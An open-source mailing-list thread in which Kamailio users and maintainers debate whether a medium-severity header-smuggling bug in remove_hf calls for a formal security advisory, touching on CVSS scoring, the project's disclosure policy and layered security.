little time, however I also don't think I cannot voice my opinion, or can I? By the way I know at least one person in the Kamailio community that might be more fit as a "Kamailio Security Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem warrants security advisory? -Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
As I was drafting my response, Alex articulated a response better than I could dream.
I agree with the project response, Daniel's response, and also would like to add that remove_hf_re has been here since 1.5 and is not vulnerable to the scenario described.
Internally, the headers would need to be known and if internal there's more security concern other than this of course.
Externally (or from un-trusted sources), you're hopefully stripping all X-, or other type headers that you would be using internally. In this case, the re method would still not need updating.
This scenario is not obtaining private information, memory leaks, system crash. It is a valid concern when using an exact replace on an arbitrary header should that arbitrary header be used for some security method.
This said, if your security can be evaded with a plain text header, you may wish to consider adding an additional measure such as source, auth, etc.
As time progresses, attack metrics change. If a criteria meets a major announcement, the project has shown and demonstrated that information will be released in a security announcement, for example:
https://www.kamailio.org/w/2018/07/kamailio-security-announcement-for-kamail...
--fred
On Wed, 2020-09-02 at 13:56 -0400, Alex Balashov wrote:
For whatever it's worth: IHO, the official project response to this issue, and Daniel's in particular, was reasonable and proportional to the severity of the problem.
As Daniel pointed out in his response:
- "Of course, security is affected only if you pass security
sensitive data in such custom headers"
- "The default kamailio.cfg is not using any custom headers, thus
no impact on it."
Or in other words: This is not a ubiquitous problem affecting a large proportion of the installed base. Custom headers present a security risk _ipso facto_. It is up to the implementor to make a reasonable and informed risk assessment about using them.
It is true that #2 is less of a mitigating factor than #1; as someone pointed out, the value of Kamailio is tied up in the core APIs it provides as a "toolkit", rather than packaged configurations, as most substantial implementations of Kamailio involve advanced use-cases and extensive custom config-writing.
Nevertheless, some subsequent responses in this thread seem like needless hyperventilation to stimulate "political energy" or energise some kind of online outrage machine. This betrays a failure to see forest for trees and a lack of adequate perspective on the objective impact of this issue (medium), or a penchant for hysteria.
-- Alex
On 2020-09-02 13:48, jbrower@signalogic.com wrote:
Maxim is correct. *Anything* even remotely exploitable must be documented, fixed, and reported. Credibility with company security officers, CFOs -- even with the press if something bad should ever happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard ever covered RowHammer, Spectre, etc ? If the exploit doesn't make sense because "they would have access to other private data anyway" is an assumption and therefore also irrelevant. Sophisticated hackers are great programmers (as are Kamailio programmers), they work 24/7 (as we do) -- who's to say how they might combine exploits in some way we cannot yet imagine.
-Jeff
Quoting Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com>:
Hey Daniel, Henning, Tao, Thanks for commenting out. There are a lot of opinions for me to address individually, so I will just clarify my opinion. The only substantial difference I think is whether the issue at hand warrants a security advisory to be issued by the Kamailio project or not. I totally think that it does, but it looks like I am in the minority here. Why do I think this way? Well, the first argument is a bit empirical. It is hard to generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy element and integrate it with different SIP elements I ended up using "private headers" for passing information between elements within that setup. So the task of cleaning up those headers at the edge of the network is very relevant at least to some users. It also matches Sandro's assessment, which gives it at least some credibility. Second, a more general one. Not only I have some experience in software development field, but also I got a chance to participate in much bigger and older open source projects (i.e. FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security is dealt with properly in a mature open source project. You guys might fancy the fact that Kamailio issued the last security advisory in 2018 as a "code quality" indicator, but to me that shows a total lack of proper security process. With the code base of its size, I'd expect at least several security issues of various criticality being found per year. I frankly don't understand the pushback I am getting. It almost looks like issuing such advisory is viewed as harmful and damaging on project "spotless" reputation or something. However in my view it would show respect to users and understanding that many of those users might be using it in a way that differs from its creators. It might come as a surprise to some of you, but 95% of Kamailio users are not reading this and those lists or following Sandro's work in general. However, if there were a section "Security Advisories" on kamailio.org http://kamailio.org that would be the place to go. And those users are often not individuals, but companies building their products and solutions atop of Kamailio. Also properly issued security advisory helps package maintainers, any linux distro of decent size has its own process to handle and disseminate those among their own users to update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out of that process. And last but not least, to the remark that I need to step in and fix things, well I am hardly a person to do that. Too many projects and too little time, however I also don't think I cannot voice my opinion, or can I? By the way I know at least one person in the Kamailio community that might be more fit as a "Kamailio Security Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem warrants security advisory? -Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
On 2020-09-02 14:21, Fred Posner wrote:
As time progresses, attack metrics change. If a criteria meets a major announcement, the project has shown and demonstrated that information will be released in a security announcement, for example:
https://www.kamailio.org/w/2018/07/kamailio-security-announcement-for-kamail...
For better or worse, one of the arguments made was that if 2018 was the last time we had an announcement of this magnitude, we must not be Serious About Security™.
It is worth taking the time to introspect about whether the threshold for such announcements is properly calibrated. That's never a bad idea.
However, to suggest that there must be a quota met of major vulnerability announcements per unit of time met in order for a project to be credibly Serious About Security™ is ludicrous.
-- Alex
In the eyes of people who are not doing the work themselves, everything always warrants something.
The reality of open-source is it cannot be all things to all people. If you want to be a security-conscious user of Kamailio, you need to monitor the mailing lists.
Doubtless, very, very critical issues will get wider exposure. For everything else, such as this issue and issues like it which fall into the vast middle of the curve--that is, problems which could affect some users from time to time in some releases--one just has to be plugged into what's going on with the project.
Yes, users should be able to count on the project to be reasonably secure and diligent in addressing identified issues, which it has. There is no less of credibility here with anyone; the issue was readily identified, immediately acknowledged, and fixed in _minutes_ (I was there watching it), and has been or is in the process of being backported to stable maintained branches. What more could you possibly want from an open-source project?
-- Alex
Hello Maxim,
thank you for the clarification, appreciated. Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Best regards,
Henning
[1] https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System
-- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.comhttps://gilawa.com/
From: Maxim Sobolev sobomax@sippysoft.com Sent: Wednesday, September 2, 2020 7:27 PM To: Daniel-Constantin Mierla miconda@gmail.com; Henning Westerholt hw@skalatan.de; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net Cc: Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to address individually, so I will just clarify my opinion. The only substantial difference I think is whether the issue at hand warrants a security advisory to be issued by the Kamailio project or not. I totally think that it does, but it looks like I am in the minority here.
Why do I think this way? Well, the first argument is a bit empirical. It is hard to generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy element and integrate it with different SIP elements I ended up using "private headers" for passing information between elements within that setup. So the task of cleaning up those headers at the edge of the network is very relevant at least to some users. It also matches Sandro's assessment, which gives it at least some credibility.
Second, a more general one. Not only I have some experience in software development field, but also I got a chance to participate in much bigger and older open source projects (i.e. FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security is dealt with properly in a mature open source project. You guys might fancy the fact that Kamailio issued the last security advisory in 2018 as a "code quality" indicator, but to me that shows a total lack of proper security process. With the code base of its size, I'd expect at least several security issues of various criticality being found per year. I frankly don't understand the pushback I am getting. It almost looks like issuing such advisory is viewed as harmful and damaging on project "spotless" reputation or something. However in my view it would show respect to users and understanding that many of those users might be using it in a way that differs from its creators.
It might come as a surprise to some of you, but 95% of Kamailio users are not reading this and those lists or following Sandro's work in general. However, if there were a section "Security Advisories" on kamailio.orghttp://kamailio.org that would be the place to go. And those users are often not individuals, but companies building their products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers, any linux distro of decent size has its own process to handle and disseminate those among their own users to update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out of that process.
And last but not least, to the remark that I need to step in and fix things, well I am hardly a person to do that. Too many projects and too little time, however I also don't think I cannot voice my opinion, or can I? By the way I know at least one person in the Kamailio community that might be more fit as a "Kamailio Security Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem warrants security advisory?
-Max
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known
and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev sobomax@sippysoft.com Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt hw@skalatan.de Cc: Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.orghttp://kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Henning, well, sorry I respectfully disagree. The "for example" clause clearly defines the following list as non-exclusive. What about let's say SQL injection attacks? Are those "serious" enough? Or someone being able to bypass authentication mechanisms? Any other 100500 potential ways to exploit complex code systems?
In general it's safe to assume that what is and what isn't a security vulnerability should be left to be decided by a security expert who reports it. It's like when you go to the doctor for a checkup, you let him interpret your x-rays and other analysis.
If Sandro in this particular case deems this issue as a "security vulnerability", then the Kamailio team should just take it for granted. All IMHO of course.
Adding score is fine, but that's a bit post-factum. IMHO you need a score when you have too many vulnerabilities to report. Kamailio as we already established is not in this category yet.
-Max
On Wed, Sep 2, 2020 at 12:25 PM Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev sobomax@sippysoft.com *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt hw@skalatan.de *Cc:* Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Hello Maxim,
I think it would be a good idea to start a new thread to discuss process improvements, so only a few comments.
As mentioned from Alex already, this is an open source project and not a company where the CISO will check that all documented policies are done and checked to not lose the ISO 27001 certification (to exaggerate a bit as well).
The actions of the projects depend (among others) on the time, priorities and other commitments of the individuals that do the work. And as already discussed extensively, I think we as a project have handled this topic in a good way. Of course, there might be always room for improvement, with the usual trade-offs.
If other companies are having some requirements that the project might not provide now, they usually will pay somebody to develops it or develops it in-house. If companies are having more requirement regarding certain processes, they usually allow a person on their payroll spend a few days a month to work on this or again pay somebody to work on it. My observation is that the contributions of companies in this Open Source project have been so far more in the former area as the latter.
Best regards,
Henning
-- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.comhttps://gilawa.com/
From: Maxim Sobolev sobomax@sippysoft.com Sent: Wednesday, September 2, 2020 9:38 PM To: Henning Westerholt hw@skalatan.de Cc: Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
Henning, well, sorry I respectfully disagree. The "for example" clause clearly defines the following list as non-exclusive. What about let's say SQL injection attacks? Are those "serious" enough? Or someone being able to bypass authentication mechanisms? Any other 100500 potential ways to exploit complex code systems?
In general it's safe to assume that what is and what isn't a security vulnerability should be left to be decided by a security expert who reports it. It's like when you go to the doctor for a checkup, you let him interpret your x-rays and other analysis.
If Sandro in this particular case deems this issue as a "security vulnerability", then the Kamailio team should just take it for granted. All IMHO of course.
Adding score is fine, but that's a bit post-factum. IMHO you need a score when you have too many vulnerabilities to report. Kamailio as we already established is not in this category yet.
-Max
On Wed, Sep 2, 2020 at 12:25 PM Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> wrote: Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.commailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.commailto:miconda@gmail.com>; yufei.tao@gmail.commailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.netmailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.commailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org>; jbrower@signalogic.commailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.orghttp://kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
-- Maksym Sobolyev Sippy Software, Inc. Internet Telephony (VoIP) Experts Tel (Canada): +1-778-783-0474 Tel (Toll-Free): +1-855-747-7779 Fax: +1-866-857-6942 Web: http://www.sippysoft.com MSN: sales@sippysoft.commailto:sales@sippysoft.com Skype: SippySoft
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security
risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson oej@edvina.net:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev sobomax@sippysoft.com *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt hw@skalatan.de *Cc:* Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere davy.van.de.moere@gmail.com wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
